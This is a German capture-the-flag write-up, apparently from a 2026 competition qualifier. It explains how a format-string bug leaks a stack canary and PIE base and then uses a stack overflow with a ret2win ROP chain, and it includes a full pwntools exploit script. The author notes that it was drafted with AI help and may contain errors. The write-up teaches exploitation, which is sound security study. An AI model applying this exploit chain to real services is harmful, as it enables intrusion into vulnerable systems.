Deutschlands Bester Hacker - PIE in the Sky (Pwn) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen.
Punkte 428
Architektur x86-64, Full RELRO · CanaryStack CanaryZufälliger Wächterwert vor der Rücksprungadresse, dessen Veränderung einen Stack-Überlauf verrät. · NX · PIE
Angriffsklasse Format-String-Leak + ROPReturn-Oriented ProgrammingExploit-Technik, die vorhandene Codeschnipsel verkettet, statt eigenen Code einzuschleusen. (ret2win)

Die Challenge

Beim Netz-Scan im Rückbau-Projekt Altnetz taucht eine IP auf, die laut Bestandsliste seit Jahren keinem aktiven System mehr zugeordnet ist. Dahinter antwortet trotzdem ein Dienst: ein Diagnose-Programm, das Feldtechniker für Selbsttests an Steuerungshardware genutzt haben. Kein Login, kein Handbuch — nur ein offener TCP-Port (TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.) und ein Prozess, der sich für ziemlich gut abgesichert hält.

Zwei Stufen, vier Schutzmechanismen, eine win()-Funktion mit einer sehr genauen Vorstellung davon, was in einem bestimmten Register stehen muss.

Ziel: win() liest /flag.txt und gibt sie aus — aber nur, wenn ihr Argument exakt 0xdeadbeefcafebabe ist. Das Argument steht bei Aufruf im Register rdi.

Aufklärung

Zwei Dateien liegen vor: das Binary vuln und der Quelltext vuln.c.

$ checksec vuln
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
Stripped: No

Alle vier Standard-Mitigations sind aktiv. Der Trick der Challenge: das Binary liefert die Bausteine selbst mit — eine win()-Funktion und ein handgeschriebenes pop rdi ; ret-Gadget. Wir müssen nur zwei Dinge beschaffen: den Canary und die PIE-Basisadresse. Beides schenkt uns Stufe 1.

Schutz Status Antwort
PIE umgangen Format-String leakt eine Rücksprungadresse → PIE-Basis zurückrechnen
Stack Canary umgangen Format-String leakt den Canary → beim Overflow unverändert einsetzen
NX umgangen Kein ShellcodeShellcodeKompakter Maschinencode, der nach erfolgreicher Ausnutzung direkt vom Zielprozess ausgeführt wird. nötig — ROP auf vorhandenen Code (ret2win)
Full RELRO irrelevant Weg führt über die Rücksprungadresse, nicht die GOT

Die Schwachstelle

Stufe 1 — Format String Oracle. Stufe 1 gibt uns genau einen Format-String. Der verwundbare Aufruf reicht unsere Eingabe ungefiltert als Format-String weiter:

// vuln.c · stage1_leak()
char buf[64];
fgets(buf, sizeof(buf), stdin);
printf(buf);          // <-- kein Format-Argument: Format-String-Bug

Über positionale Argumente (%N$p) lesen wir gezielt Stack-Werte aus. Bei x86-64 kommen die ersten fünf Argumente aus Registern (rsi, rdx, rcx, r8, r9), ab %6$ geht es auf dem Stack weiter — und dort liegt buf bei rbp-0x50:

Position Stack-Offset Inhalt
%6$ rbp-0x50 buf (unsere Eingabe)
%15$ rbp-0x08 Stack Canary
%16$ rbp+0x00 gespeichertes RBP
%17$ rbp+0x08 Rücksprung → main+0x14ea

Stufe 2 — Stack-OverflowBuffer OverflowSchreiben über die Grenze eines Speicherpuffers hinaus, wodurch benachbarte Daten überschrieben werden.. Stufe 2 liest bis zu 256 Bytes in einen 48-Byte-Puffer:

// vuln.c · stage2_overflow()
char buf[48];
read(0, buf, 256);    // 256 in 48 Bytes -> Overflow

Der Puffer beginnt bei rbp-0x40, der Canary liegt bei rbp-0x08. Bis zum Canary sind es also 0x38 = 56 Bytes.

Der Angriff

Ein einziges PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt. holt Canary und PIE-Anker gleichzeitig ab:

"%15$p|%17$p"   ->   0x<canary> | 0x<ret_in_main>

Der geleakte Wert %17$p ist die Rücksprungadresse direkt hinter dem call stage1_leak in main — PIE-relativ immer 0x14ea. Damit gilt PIE_base = leak17 - 0x14ea.

Zwei kurze Plausibilitätsprüfungen fangen einen Fehl-Leak sofort ab: der Canary endet auf 0x00 (little-endian NUL-Byte), und die PIE-Basis ist immer page-aligned.

Dann der Overflow: nach oben überschreiben, den Canary unverändert wieder einsetzen und dahinter die ROP-Kette anhängen:

höhere Adressen
  ┌──────────────────────────────────────────────────────────┐
  │ rbp+0x20 │ win()                 │ Ziel · liest /flag.txt  │
  │ rbp+0x18 │ ret                   │ Alignment-Gadget        │
  │ rbp+0x10 │ 0xdeadbeefcafebabe    │ -> rdi (MAGIC)          │
  │ rbp+0x08 │ pop rdi ; ret         │ Rücksprung (überschr.)  │
  │ rbp+0x00 │ 0xdeadc0de            │ saved RBP (egal)        │
  │ rbp-0x08 │ <canary>              │ muss EXAKT stimmen      │
  │ rbp-0x40 │ "A" x 56              │ buf[48] + Padding       │
  └──────────────────────────────────────────────────────────┘
niedrigere Adressen   (Overflow schreibt von unten nach oben)

Warum das extra ret? Bei Eintritt in win() wäre rsp auf ein 16-Byte-Vielfaches ausgerichtet — die SysV-ABI erwartet aber rsp % 16 == 8. Ohne Korrektur crasht ein movaps in glibc (puts/fopen/fgets) innerhalb von win. Ein einzelnes ret-Gadget verschiebt den Stack um 8 Bytes und richtet alles korrekt aus.

Das entscheidende Gadget liefert das Binary frei Haus: in gadget_hint() steht direkt hinter einem endbr64 ein pop rdi ; ret.

Symbol PIE-Offset Rolle
win 0x1251 Zielfunktion, prüft rdi == MAGIC
pop rdi ; ret 0x1352 lädt MAGIC in rdi
ret 0x1353 Stack-Alignment (16-Byte)
ret -> main 0x14ea Leak-Anker für PIE-Basis

Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt.:

from pwn import *
import sys

context.arch = "amd64"

OFF_WIN         = 0x1251
OFF_POP_RDI     = 0x1352   # pop rdi ; ret
OFF_RET         = 0x1353   # ret (Alignment)
OFF_RET_TO_MAIN = 0x14ea   # Leak-Anker in main
MAGIC           = 0xdeadbeefcafebabe

def start():
    if len(sys.argv) >= 3:
        host, port = sys.argv[1], int(sys.argv[2])
        return remote(host, port, ssl=True)   # == ncat --ssl
    return process("./vuln")

io = start()

# --- Stufe 1: Canary + PIE-Basis leaken ---
io.recvuntil(b"Make it count.")
io.sendline(b"%15$p|%17$p")

io.recvuntil(b"0x")
canary_hex, ret_hex = (b"0x" + io.recvline().strip()).split(b"|")
canary   = int(canary_hex, 16)
pie_base = int(ret_hex, 16) - OFF_RET_TO_MAIN

assert canary & 0xff == 0            # Canary endet auf NUL
assert pie_base & 0xfff == 0         # PIE page-aligned

pop_rdi = pie_base + OFF_POP_RDI
ret     = pie_base + OFF_RET
win     = pie_base + OFF_WIN

# --- Stufe 2: Overflow + ret2win ---
io.recvuntil(b"what you've got.")
payload  = b"A" * 56         # bis zum Canary (0x40 - 0x08)
payload += p64(canary)       # Canary intakt wiedereinsetzen
payload += p64(0xdeadc0de)   # saved rbp
payload += p64(pop_rdi)      # -> rdi = MAGIC
payload += p64(MAGIC)
payload += p64(ret)          # 16-Byte-Alignment
payload += p64(win)          # win(MAGIC) -> Flag
io.send(payload)

io.recvuntil(b"=== CONGRATULATIONS ===")
print(io.recvall(timeout=5).decode(errors="replace"))

Ohne Argumente startet das Skript das lokale Binary (./vuln) zum Testen.

Hinweis: Die Kette ist deterministisch aufgebaut; die recvuntil()-Marker müssen gegebenenfalls an die tatsächlichen Prompt-Strings der Instanz angepasst werden. Die Exploit-Logik bleibt davon unberührt.

Die Flag

win() validiert rdi, öffnet /flag.txt und gibt sie aus:

=== CONGRATULATIONS ===
DBH{ ... wird vom Server ausgegeben ... }

Was ich mitnehme

AngriffsketteCyber Kill ChainModell zur Beschreibung aufeinanderfolgender Phasen eines Cyberangriffs. in einem Satz: Format-String leakt Canary und PIE-Basis → Stack-Overflow mit intaktem Canary → ROP lädt rdi = 0xdeadbeefcafebabe → win() gibt die Flag aus.

Vier aktivierte Mitigations klingen nach viel, sind aber wertlos, sobald eine einzige Info-Leak-Primitive existiert. Canary und PIE sind Geheimnisse — und ein printf(buf) ist eine generische Geheimnis-Leseprimitive. NX und Full RELRO wiederum schützen nur gegen Angriffe, die man gar nicht braucht, wenn das Binary die Gadgets und ein win() gleich mitbringt.